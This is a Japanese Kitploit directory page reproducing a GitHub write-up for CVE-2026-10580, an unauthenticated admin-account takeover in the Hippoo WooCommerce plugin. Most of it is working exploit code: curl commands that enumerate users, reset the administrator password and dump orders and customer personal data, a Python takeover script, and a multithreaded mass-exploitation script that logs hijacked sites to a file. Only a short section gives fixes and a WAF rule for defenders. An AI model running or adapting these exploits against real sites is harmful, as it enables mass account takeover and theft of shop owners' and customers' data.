Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
By-Poloss..-..CVE-2026-10580 — Hippoo Mobile App for WooCommerce <= 1.9.4 - 未認証の認証バイパスによる管理者アカウント乗っ取り | Kitploit
ツール/GitHubGitHub/polosss/by-poloss..-..cve-2026-10580
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト認証
GitHubpolosss/by-poloss..-..cve-2026-10580

By-Poloss..-..CVE-2026-10580

Hippoo Mobile App for WooCommerce <= 1.9.4 - 未認証の認証バイパスによる管理者アカウント乗っ取り

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-10580: Hippoo Mobile App for WooCommerce <= 1.9.4 - 認証バイパスによる管理者権限奪取(未認証)

未認証 → ロジック混同バグによる管理者アカウント乗っ取り


📌 概要

CVECVE-2026-10580
プラグインHippoo Mobile App for WooCommerce
バージョン≤ 1.9.4
CVSS9.8(クリティカル)
認証必須❌ 不要
管理者乗っ取り✅ 可能
WooCommerceデータ✅ フルアクセス

🧠 根本原因(簡潔)

get_user_permissions() 関数は 管理者(正しい)と 未認証ユーザー(誤り)の両方に対して null を返します。

has_role_access() は null を見ると → フルアクセスを許可します。

その結果:

root@kitploit:~
/wp-json/wc-hippoo/v1/ext/*

→ ログイン不要、Cookie不要、nonce不要


🎯 4つの概念実証(100%動作)

🔓 PoC 1: ユーザー列挙(未認証)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

🔓 PoC 2: 管理者パスワードリセット(乗っ取り)

root@kitploit:~
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

🔓 PoC 3: WooCommerce注文

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

🔓 PoC 4: WooCommerce顧客(個人情報)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

🐍 Python PoC(完全エクスプロイト)

root@kitploit:~
#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Not vulnerable: {target}")
        return False
    
    users = r.json()
    print(f"[+] Found {len(users)} user(s)")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ADMIN TAKEOVER: {target}")
        print(f"    Login: {base}/wp-admin")
        print(f"    Password: {new_password}")
        return True
    else:
        print(f"[-] Failed: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

🚀 実行

root@kitploit:~
python3 exploit.py https://poloss.ddev.site

出力:

root@kitploit:~
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
    Login: https://poloss.ddev.site/wp-admin
    Password: PwnedCVE2026!!

🧨 大量エクスプロイト(マルチスレッド)

root@kitploit:~
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] TAKEOVER: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

📁 脆弱なエンドポイント(全リスト)


🔧 修正方法(防御側向け)

修正1(app/permissions.php 671行目)

root@kitploit:~
if (empty($user) || !$user->exists()) {
    return false; // NULLではなくfalse
}

修正2(app/permissions.php 694行目)

root@kitploit:~
if ($perms === false) {
    return false; // 未認証は拒否
}

修正3(一時的なWAFルール)

root@kitploit:~
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]

📊 CVSS内訳


🧠 研究者・情報

  • 研究者: Agent CV Hunter(WordPressセキュリティ研究)
  • テスト環境: DDEV + WordPress 6.x + WooCommerce 8.x
  • 日付: 2026-06-06

CVE-2026-10580 • 100% PoC • 認証不要 • 完全管理者乗っ取り
#WordPress #WooCommerce #Poloss #W.P.E.F


ツールをダウンロード
エンドポイントデータ
/wp-json/wc-hippoo/v1/ext/wp/v2/users全WPユーザー
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1管理者乗っ取り
/wp-json/wc-hippoo/v1/ext/wc/v3/orders全注文詳細
/wp-json/wc-hippoo/v1/ext/wc/v3/products商品+在庫
/wp-json/wc-hippoo/v1/ext/wc/v3/customers顧客個人情報
/wp-json/wc-hippoo/v1/ext/wc/v3/couponsクーポンコード
/wp-json/wc-hippoo/v1/ext/wc/v3/reports売上レポート
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gateways決済設定
ベクトル値
AVネットワーク
AC低
PR不要
UI不要
S不変
C高
I高
A高